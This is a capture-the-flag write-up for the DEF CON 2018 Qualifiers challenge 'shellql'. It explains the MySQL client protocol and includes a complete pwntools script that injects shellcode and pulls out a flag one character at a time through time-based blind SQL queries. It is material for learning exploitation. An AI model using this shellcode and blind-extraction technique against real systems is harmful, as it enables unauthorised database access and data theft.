shellql

DEF CON CTF Qualifiers 2018

The hardest challenge of not very many I solved in this CTF. What a struggle! I have a long way to improve. It was pretty fun though. (I solved “You Already Know”, and got the essence of “ghettohackers: Throwback”, but didn’t guess the right flag format and believe I was asleep when they released the hint about it.)

The challenge consists of a simple PHP script that opens a MySQL connection and then feeds our input into a custom PHP extension shellme.so.

$link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');
if (isset($_POST['shell']))
{
if (strlen($_POST['shell']) <= 1000)
{
echo $_POST['shell'];
shellme($_POST['shell']);
}
exit();
}

The extension basically just executes $_POST['shell'] as shellcode after a strict SECCOMP call, prctl(22, 1). This means that we can only use the four syscalls read, write, and exit, and sigreturn, where the latter two aren’t particularly useful.

Disassembled innermost function of interest in shellme.so
Disassembled innermost function of interest in shellme.so

The goal is to read the flag from the open MySQL connection.

To implement this in shellcode, we need to do a little digging into the MySQL documentation to figure out how the client/server protocol works. Since the connection is authenticated, we can fortunately jump straight into the command phase. From the documentation page for the command phase, we learn that every command packet starts with a four-byte length field. We want to submit a COM_QUERY packet, which just means that after the length field we send 0x03 and then our SQL query. Seems easy enough.

The first obstacle was simply that no matter what shellcode we submitted, we got an Internal Server Error. I probably spent a few hours trying to find shellcode that wouldn’t cause an error, mostly with combinations of ret, as well as trying to get the extension running locally on my VM to debug, but I kept getting segmentation faults whenever I merely loaded the extension locally, even if I didn’t call it. So nothing worked and I wasn’t even sure if my shellcode was being run on the server, much less know how to submit a SQL query and get a response back.

My first breakthrough occurred when I thought of sending the classic x86 infinite loop \xeb\xfe (jmp ., or short relative jump −2 bytes). When I POSTed this loop, the server took something like 15 seconds to respond, instead of the usual half a second. At last, proof that my shellcode was being executed, and the meager reassurance that if all else failed, I could use a timing attack to get my shellcode to pass information back to me. I spent some more time trying to find some way to get output back from my shellcode, but after struggling for long enough and consulting with my teammates I resigned to writing shellcode blind to execute the timing attack.

In my first couple attempts, I wrote shellcode that would write a query, read the result, and then go into an infinite loop if a particular bit in the result was set. A little experimentation quickly suggested that the right filehandle was 4. It still took ages because I was hoping I could get by with extracting the response to the fixed query SELECT * FROM flag bit by bit, so I was manually computing the packet length and XORing with ones to get shellcode without null bytes to write that query, and then I repeated that process for a few other queries just to make sure things were working. It took me a while to recall that pwntools.shellcraft could help me write shellcode much more easily:

s = "\x03" + query # prepend COM_QUERY indicator
n = len(s)
a = (
shellcraft.amd64.pushstr(p32(n) + s, append_null=False) +
shellcraft.amd64.linux.syscall('SYS_write', 4, 'rsp', n + 4) +
shellcraft.amd64.linux.syscall('SYS_read', 4, 'rsp', 64))

Eventually, though, I decided this was too slow, because the COM_QUERY Response format was daunting and I did not think I could get to the flag in a reasonable amount of time by reading, exfiltrating, and parsing bits of it at a time.

I played with some other ideas for a while. I considered writing shellcode to just scan for three Os in a row in memory and then spit out the bits after it, instead of examining every bit of the response from the start, but this felt too hard to correctly implement while blind and I didn’t feel like trying any harder to set something up to let me locally test things. (In hindsight, pwntools.shellcraft has a function called egghunter which does exactly this, so this probably would have been feasible, but you know what they say about hindsight.) I observed that although the content of the response to my query might be fairly hard to read, the OK/error flag byte was much easier to read because it was just the fifth byte of each response packet. So, I tried to create a query that would succeed or cause an error in SQL depending on a bit of the flag. I couldn’t convincingly get this to work, but while trying this and reading about all the SQL injections in the wild, I realized that I could use the SQL function SLEEP and cause the time delay inside SQL.

The following script is more or less what I finally used to finally get the flag, at a rate of one agonizing character every half a minute or so. In theory, my shellcode should block noticeably if the SQL takes long enough, and go into an infinite loop if the SQL response is an error so that we’d be fine even if the SLEEP was interrupted prematurely by something other than the alarm or something. For reasons I’m not sure of, this was still not particularly reliable; sometimes, even with a correct prefix, it would terminate after only one second or so. The script is also very sketchy because it currently skips checking the special characters %!_ when it should just escape them; it would have failed if the flag contained any of these characters. But such a fix would be easy to implement, and it seemed to have no false positives and got us to a guessable flag, so here we go.

from __future__ import division, print_function
from pwn import *
import requests
import time
context.arch = "amd64"
def run_query(s):
s = "\x03" + s # prepend COM_QUERY indicator
n = len(s)
a = (
shellcraft.amd64.pushstr(p32(n) + s, append_null=False) +
shellcraft.amd64.linux.syscall('SYS_write', 4, 'rsp', n + 4) +
shellcraft.amd64.linux.syscall('SYS_read', 4, 'rsp', 64) + """
pop rax
""" +
shellcraft.amd64.mov('rbx', 0xff00000000) + """
xor rax, rbx
test rax, rbx
jz ."""
)
# print(a)
shellcode = asm(a)
t = time.time()
r = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php',
data={'shell': shellcode})
print(r.content)
t2 = time.time()
print(t2 - t)
return t2 - t
prefix = ""
while True:
for cc in map(chr, range(32, 127)):
if cc == "'" or cc == "%" or cc == "_": continue
cur_prefix = prefix + cc
print(cur_prefix)
t = run_query("select if(exists(select * from flag where flag like '" +
cur_prefix + "%'), sleep(1000), 1)")
if t > 2:
prefix = cur_prefix
break

Running the script, waiting a very long time for it to spit out one character at a time while playing Kittens Game in the background, then fixing the letter cases gives us the flag:

OOO{shellcode and webshell is old news, get with the times my friend!}